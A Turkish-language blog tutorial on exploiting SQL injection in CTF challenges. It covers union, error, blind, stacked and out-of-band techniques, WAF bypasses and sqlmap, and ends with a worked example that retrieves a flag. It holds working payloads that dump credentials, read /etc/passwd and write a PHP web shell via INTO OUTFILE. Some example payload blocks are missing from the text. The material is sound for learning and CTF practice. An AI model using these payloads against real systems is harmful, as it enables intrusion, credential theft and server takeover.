Giriş

Capture The Flag (CTF) yarışmaları, siber güvenlik alanında bilgi ve becerileri test etmek için düzenlenen heyecan verici etkinliklerdir. Bu yarışmalarda karşılaşılan en yaygın ve kritik zafiyet türlerinden biri de SQL Enjeksiyonudur (SQL Injection - SQLi). SQL Enjeksiyonu, bir web uygulamasının kullanıcıdan aldığı girdiyi yeterince doğrulamaması veya sanitasyon yapmaması durumunda ortaya çıkan, kötü niyetli SQL komutlarının veritabanı sunucusuna gönderilmesine olanak tanıyan bir güvenlik açığıdır. Bu rehberde, CTF senaryolarında SQL Enjeksiyonunun nasıl tespit edileceği, farklı türlerinin nasıl sömürüleceği ve pratik ipuçları ile araçların nasıl kullanılacağı detaylı bir şekilde ele alınacaktır. Amacımız, CTF katılımcılarının bu zafiyete karşı kapsamlı bir anlayış kazanmalarını ve meydan okumaları başarıyla tamamlamalarını sağlamaktır. SQL Enjeksiyonu sadece bir zafiyet değil, aynı zamanda veritabanının çalışma prensiplerini ve sorgu dilini derinlemesine anlamayı gerektiren bir sanat dalıdır. Bu, onu CTF'lerde çözmesi en tatmin edici sorunlardan biri haline getirir.

SQL Enjeksiyonu Nedir?

SQL (Structured Query Language), ilişkisel veritabanlarını yönetmek ve onlarla iletişim kurmak için kullanılan standart bir dildir. Bir web uygulaması, kullanıcıdan aldığı verileri (örneğin kullanıcı adı, şifre, arama terimi) arka plandaki veritabanına sorgular göndermek için kullanır. Eğer bu girdiler düzgün bir şekilde filtrelenmez veya kaçırılmazsa, saldırganlar kendi SQL komutlarını orijinal sorguya ekleyebilir ve böylece veritabanının kontrolünü ele geçirebilirler. Bu durum, hassas verilerin okunmasına, değiştirilmesine, silinmesine veya hatta veritabanı sunucusunda işletim sistemi komutlarının yürütülmesine yol açabilir.

CTF Bağlamında SQL Enjeksiyonu

CTF yarışmalarında SQL Enjeksiyonu genellikle web kategorisindeki görevlerde karşımıza çıkar. Amaç, genellikle gizli bir veriyi (flag) elde etmek, bir veritabanı yöneticisinin kimlik bilgilerini ele geçirmek veya sunucu üzerinde komut çalıştırmak olabilir. CTF'lerdeki SQLi senaryoları, gerçek dünya zafiyetlerinin basitleştirilmiş veya belirli bir kısıtlamayla sunulmuş halleridir. Bu da katılımcıların yaratıcılıklarını ve problem çözme yeteneklerini kullanmalarını gerektirir. Bazen sadece tek bir karakter hatası bile, doğru payload'u bulmak için saatler süren denemeler yapılmasına neden olabilir.

Temel SQL Enjeksiyonu Türleri

SQL Enjeksiyonu zafiyetleri farklı şekillerde kendini gösterebilir ve her birinin sömürülme tekniği farklılık gösterebilir. CTF'lerde en sık karşılaşılan türleri ve sömürülme yöntemlerini detaylıca inceleyelim:

1. Hata Tabanlı SQL Enjeksiyonu (Error-based SQL Injection)
Bu tür enjeksiyonda, veritabanı sorgusunda kasten bir hata oluşturulur ve bu hatanın çıktısı web sayfasında gösterilir. Saldırgan, hata mesajlarının içine veritabanı bilgilerini yerleştirerek bu bilgileri okuyabilir. Özellikle `UNION SELECT`, `EXTRACTVALUE`, `UPDATEXML` gibi fonksiyonlar veya belirli SQL Server fonksiyonları (örneğin `CAST`, `CONVERT`) ile birleştirildiğinde çok etkilidir.

Örnek Payload (MySQL):
Bu payload, `database()` fonksiyonundan dönen değeri hata mesajının içine enjekte eder. Başka bir örnek:
Burada `user()` fonksiyonundan dönen değer, bir XML hatası aracılığıyla gösterilir.

2. Birlik Tabanlı SQL Enjeksiyonu (Union-based SQL Injection)
Bu, en popüler ve etkili SQL Enjeksiyonu türlerinden biridir. Saldırgan, `UNION SELECT` komutunu kullanarak kendi SELECT sorgusunun sonuçlarını orijinal sorgunun sonuçlarına ekler. Bu sayede veritabanından istediği herhangi bir veriyi çekebilir. Bu tekniği kullanabilmek için orijinal sorgudaki sütun sayısını ve veri türlerini bilmek veya tahmin etmek gereklidir.

Adımlar:

• Sütun Sayısını Bulma: `ORDER BY` veya `UNION SELECT NULL, NULL, ...` ile denemeler yaparak sütun sayısını tespit edin.
  
  Kod:

  ' ORDER BY 1-- -
  ' ORDER BY 2-- -
  ...
  ' ORDER BY N-- - (N bir hata döndürene kadar artırılır, önceki sayı doğru sütun sayısıdır)

  Veya:
  
  Kod:

  ' UNION SELECT NULL-- -
  ' UNION SELECT NULL,NULL-- -
  ...
  ' UNION SELECT NULL,NULL,...,NULL-- - (Sorgu hata vermeyene kadar NULL eklenir)

• Veri Türlerini Eşleştirme ve Veri Çekme: Uygun veri türleri ile veritabanı adını, tablo adlarını veya kullanıcı verilerini çekin.
  
  Kod:

  ' UNION SELECT 1,database(),user(),4,5-- -
  ' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1-- -
  ' UNION SELECT 1,column_name,3,4,5 FROM information_schema.columns WHERE table_name='users' LIMIT 0,1-- -
  ' UNION SELECT username,password,3,4,5 FROM users LIMIT 0,1-- -

3. Kör SQL Enjeksiyonu (Blind SQL Injection)
Kör SQL Enjeksiyonu, hata mesajlarının veya sorgu sonuçlarının doğrudan web sayfasında gösterilmediği durumlarda kullanılır. Saldırgan, veritabanından bilgi çıkarmak için uygulama davranışındaki küçük değişiklikleri (örneğin sayfanın yüklenme süresi veya bir boolean koşuluna göre sayfanın içeriğinin değişmesi) gözlemlemek zorundadır. Bu tür saldırılar genellikle çok zaman alıcıdır ve otomatize araçlar (örneğin sqlmap) kullanmayı gerektirebilir.

a. Boolean Tabanlı Kör SQL Enjeksiyonu:
Sorguya eklenen koşul doğru olduğunda sayfanın farklı, yanlış olduğunda ise farklı davrandığı durumlarda kullanılır. Örneğin, bir metin veya bir resmin görünürlüğü değişebilir.

Örnek Payload (MySQL):
Veritabanı adının ilk harfinin 'a' olup olmadığını kontrol etme:
Eğer sayfa normal yükleniyorsa harf 'a'dır, hata veriyor veya farklı davranıyorsa değildir. Bu yöntem, her karakter için tek tek denemeler yaparak tüm bilgiyi çıkarmayı gerektirir.

b. Zaman Tabanlı Kör SQL Enjeksiyonu (Time-based Blind SQL Injection):
Uygulama davranışında bir değişiklik gözlenmediği durumlarda, saldırgan sorguya bir zaman gecikmesi (örneğin `SLEEP()` fonksiyonu) ekler. Eğer koşul doğruysa sayfa belirli bir süre gecikmeli yüklenir, yanlışsa hemen yüklenir.

Örnek Payload (MySQL):
Veritabanı adının ilk harfinin 'a' olup olmadığını kontrol etme ve 5 saniye bekletme:
Veya PostgreSQL'de:
Bu yöntem de her karakter için defalarca deneme yapmayı gerektirir.

4. Yığılmış Sorgular (Stacked Queries)
Bu teknik, bir enjeksiyon noktasında birden fazla SQL sorgusunun yürütülmesine olanak tanır. Genellikle `;` (noktalı virgül) ile ayrılmış sorgular gönderilerek gerçekleştirilir. Bu, veritabanında UPDATE, INSERT veya DELETE gibi işlemler yapmaya olanak tanır. Ancak çoğu veritabanı API'si ve sürücüsü, güvenlik nedeniyle yığılmış sorgulara izin vermez. Özellikle MSSQL'de yaygın olarak işe yarar.

Örnek Payload (MSSQL):
Bu payload ile `admin` kullanıcısının şifresi değiştirilebilir.

5. Bant Dışı SQL Enjeksiyonu (Out-of-Band / OOB SQL Injection)
Bu ileri düzey bir teknik olup, veritabanının saldırganın kontrolündeki harici bir sunucuya (örneğin bir DNS sunucusu veya HTTP sunucusu) veri göndermesini içerir. Bu, veritabanı yanıtlarını doğrudan alamadığınız kör enjeksiyon senaryolarında kullanışlıdır. MSSQL'de DNS etkileşimi için `xp_cmdshell` ve `UNC` yolları veya MySQL'de `LOAD_FILE` gibi fonksiyonlar kullanılabilir.

Örnek Payload (MSSQL):
Bu komut, SQL Server'ın `sqlidata.buradan.geldi.example.com` adresine bir DNS sorgusu göndermesine neden olur ve saldırgan bu sorguyu dinleyerek veritabanı bilgilerini çıkarabilir.

CTF Senaryolarında Adım Adım Sömürme

Bir CTF görevinde SQL Enjeksiyonu ile karşılaştığınızda izleyebileceğiniz genel adımlar şunlardır:

• Enjeksiyon Noktası Tespiti: URL parametreleri (`?id=1`), POST verileri, HTTP başlıkları (User-Agent, Referer) veya hatta çerezler gibi girdileri test edin. Tek tırnak (`'`) veya çift tırnak (`"`) ekleyerek sayfanın nasıl davrandığını gözlemleyin. Hata mesajları, sayfa içeriğindeki değişiklikler veya zaman gecikmeleri ipucu verebilir.
• Veritabanı Türü Tespiti: Hata mesajları veya belirli fonksiyonalite testleri (örneğin `@@version` veya `version()`) ile veritabanı türünü (MySQL, PostgreSQL, MSSQL, Oracle vb.) anlamaya çalışın. Bu, doğru payload'ları seçmenize yardımcı olacaktır.
  
  Kod:

  ' OR 1=1-- - (MySQL/MSSQL/PostgreSQL yorum satırı)
  " OR 1=1-- -
  ') OR 1=1-- -

• Sütun Sayısı ve Veri Türü Tespiti: Özellikle UNION-based enjeksiyon için kritiktir. `ORDER BY` veya `UNION SELECT NULL,...` yöntemlerini kullanın.
• Veritabanı Bilgilerini Çekme: Veritabanı adını (`database()`, `DB_NAME()`), kullanıcı adını (`user()`, `SYSTEM_USER`) ve veritabanı versiyonunu (`version()`, `@@version`) çekin. Bu bilgiler, çoğu CTF'de sonraki adımlar için önemlidir.
• Tablo ve Sütun Adlarını Bulma: `information_schema` veritabanı (MySQL/PostgreSQL) veya `sys.tables`, `sys.columns` (MSSQL) gibi meta-veritabanlarını kullanarak mevcut tabloları ve sütunları listelemeye çalışın.
  
  Kod:

  ' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- -
  ' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'-- -

• Hassas Verileri Çekme: Elde ettiğiniz tablo ve sütun adlarını kullanarak kullanıcı adları, parolalar, e-posta adresleri veya "flag" içeren sütunları çekin. Genellikle "flag" adlı bir tablo veya "flag" adlı bir sütun bulunur.
  
  Kod:

  ' UNION SELECT 1,flag_column FROM flag_table-- -
  ' UNION SELECT 1,group_concat(username,0x3a,password) FROM users-- -

• Dosya İşlemleri (Eğer Mümkünse): `LOAD_FILE()` (MySQL), `DBMS_LOB.LOADFROMFILE` (Oracle), veya `xp_cmdshell` (MSSQL) gibi fonksiyonları kullanarak sunucudan dosya okuma veya sunucuya dosya yazma (Web Shell yükleme) girişimlerinde bulunabilirsiniz. Bu, genellikle daha ileri düzey CTF'lerde yer alır.
  
  Kod:

  ' UNION SELECT 1,LOAD_FILE('/etc/passwd')-- - (Linux sistemlerde /etc/passwd dosyasını okuma)
  ' UNION SELECT '<?php system($_GET[\'cmd\']); ?>' INTO OUTFILE '/var/www/html/shell.php'-- - (Web shell yükleme)

Pratik İpuçları ve Araçlar

CTF'lerde SQL Enjeksiyonu ile mücadele ederken size yardımcı olacak bazı ipuçları ve araçlar:

• Kaynak Kodu İncelemesi: CTF'lerde genellikle uygulamaların bir kısmı veya tamamının kaynak kodu verilir. Kodu dikkatlice inceleyerek potansiyel enjeksiyon noktalarını ve kullanılan veritabanı fonksiyonlarını tespit edebilirsiniz. Bu, zaman kazandıran kritik bir adımdır.
• Hata Mesajları: Sunucudan gelen hata mesajları altın değerindedir. Geliştirme ortamlarında açık bırakılan hata detayları, veritabanı tipi, sorgu yapısı ve hatta hassas bilgileri açığa çıkarabilir. Her hata mesajını dikkatlice okuyun.
• WAF (Web Application Firewall) Atlatma Teknikleri: Bazen güvenlik duvarları belirli anahtar kelimeleri (UNION, SELECT vb.) engeller. Bu durumda, yorum satırları (`/*!...*/`), in-line yorumlar (`/*!union*/`), URL kodlama (`%20` yerine `+`), büyük/küçük harf kullanımı, veya çift kodlama gibi WAF atlatma tekniklerini denemek gerekebilir.
• SQLMap: Otomatik bir SQL Enjeksiyon aracı olan sqlmap, karmaşık SQLi saldırılarını otomatize etmek için harika bir araçtır. Özellikle kör enjeksiyon senaryolarında manuel denemeler yerine sqlmap'i kullanmak, CTF'deki sürenizi verimli kullanmanızı sağlar. Ancak unutmayın, önce manuel olarak enjeksiyon noktasını ve veritabanı türünü belirlemek, sqlmap'in daha verimli çalışmasına yardımcı olacaktır. SQLMap'in GitHub sayfasına buradan ulaşabilirsiniz: sqlmap projesi.
  
  

  "Veritabanı, bir uygulamanın kalbidir. Bu kalbi anlamak ve ona doğru soruları sormak, siber güvenlik alanındaki en güçlü yeteneklerden biridir." - Kurgusal Bir CTF Uzmanı

  Genişletmek için tıkla ...

• Cheat Sheet'ler ve Kaynaklar: OWASP SQL Injection Cheat Sheet veya PayloadAllTheThings gibi kaynaklar, farklı veritabanları için çeşitli payload örneklerini içerir. Bu tür kaynakları elinizin altında bulundurmak, takıldığınız anlarda size yol gösterecektir.
• Sürekli Pratik: HackTheBox, TryHackMe, VulnHub gibi platformlardaki SQL Enjeksiyonu içeren makineleri ve odaları çözmek, bilgilerinizi pekiştirmenin ve yeni teknikler öğrenmenin en iyi yoludur. Bu tür platformlar, gerçek dünya senaryolarına yakın pratik imkanları sunar.
• Resimlerle Görselleştirme: Bazen karmaşık SQL sorgu akışlarını anlamak için şemalar veya örnek çıktılar görmek faydalı olabilir. CTF'lerde genellikle bu tür görsel yardımlar olmaz ancak kendi çalışmalarınızda kullanmak öğrenmenizi hızlandırır. Örneğin, bir SQL enjeksiyonunun adımlarının gösterildiği temsili bir görsel:
  
  (Örnek bir görsel linkidir).

Örnek Bir CTF Senaryosu

Basit bir CTF senaryosunu ele alalım. Bir web sayfasında ürün ID'sine göre ürün detaylarını gösteren bir URL var: `http://target.com/product.php?id=1`.

1. Enjeksiyon Tespiti: URL'ye `'` (tek tırnak) eklediğimizde `http://target.com/product.php?id=1'` bir veritabanı hatası alıyoruz: "You have an error in your SQL syntax...". Bu bir SQL Enjeksiyonu olduğunu gösterir.
2. Sütun Sayısı Tespiti: `ORDER BY` ile denemeler yapıyoruz:
`id=1 ORDER BY 1-- -` -> OK
`id=1 ORDER BY 2-- -` -> OK
`id=1 ORDER BY 3-- -` -> OK
`id=1 ORDER BY 4-- -` -> Hata! Demek ki 3 sütun var.
3. Veri Çekme (Union-based):
`id=-1 UNION SELECT 1,2,database()-- -` -> Sayfada "products" yazısını görüyoruz. Veritabanı adı "products" çıktı.
`id=-1 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='products'-- -` -> Sayfada "users,items,flag" yazısını görüyoruz. Bir "flag" tablosu var!
`id=-1 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='flag'-- -` -> Sayfada "id,secret_flag" yazısını görüyoruz. Bir "secret_flag" sütunu var!
`id=-1 UNION SELECT 1,2,secret_flag FROM flag-- -` -> Bingo! Sayfada "CTF{Bu_Gizli_Mesaj_Sizin_Flagnizdir}" yazısını görüyoruz. Flagi elde ettik!

Bu adım adım yaklaşım, çoğu CTF SQL Enjeksiyonu görevinde başarılı olmanızı sağlayacaktır. Unutulmamalıdır ki her senaryo benzersiz olabilir ve yaratıcı düşünmeyi gerektirebilir.

Sonuç

SQL Enjeksiyonu, siber güvenlik dünyasında ve CTF yarışmalarında hala çok önemli bir zafiyet türüdür. Bu rehberde ele alınan çeşitli türler ve sömürülme teknikleri, CTF katılımcılarına SQL Enjeksiyonu meydan okumalarında başarılı olmaları için sağlam bir temel sunmaktadır. Pratik yapmak, farklı veritabanı sistemlerini ve SQL sorgu yapılarını anlamak, bu alandaki yetkinliğinizi artırmanın anahtarıdır. Unutmayın, her başarılı enjeksiyon, derinlemesine analiz, dikkatli gözlem ve sürekli deneme yanılma sürecinin bir sonucudur. CTF'lerde karşılaştığınız her SQL Enjeksiyonu zafiyeti, size yeni bir şeyler öğretmek için harika bir fırsattır. Bilgilerinizi taze tutmak, sürekli yeni teknikler öğrenmek ve toplulukla etkileşimde bulunmak, sizi her zaman bir adım önde tutacaktır.

Daha Fazla Bilgi ve Tartışma

Bu konu hakkında merak ettikleriniz veya paylaşmak istediğiniz deneyimleriniz varsa, lütfen yorumlarda bizimle paylaşmaktan çekinmeyin. Siber güvenlik topluluğunun gelişimi, bilgi ve deneyim paylaşımından geçer. Bu makale, Siber Güvenlik Blogu tarafından hazırlanmıştır.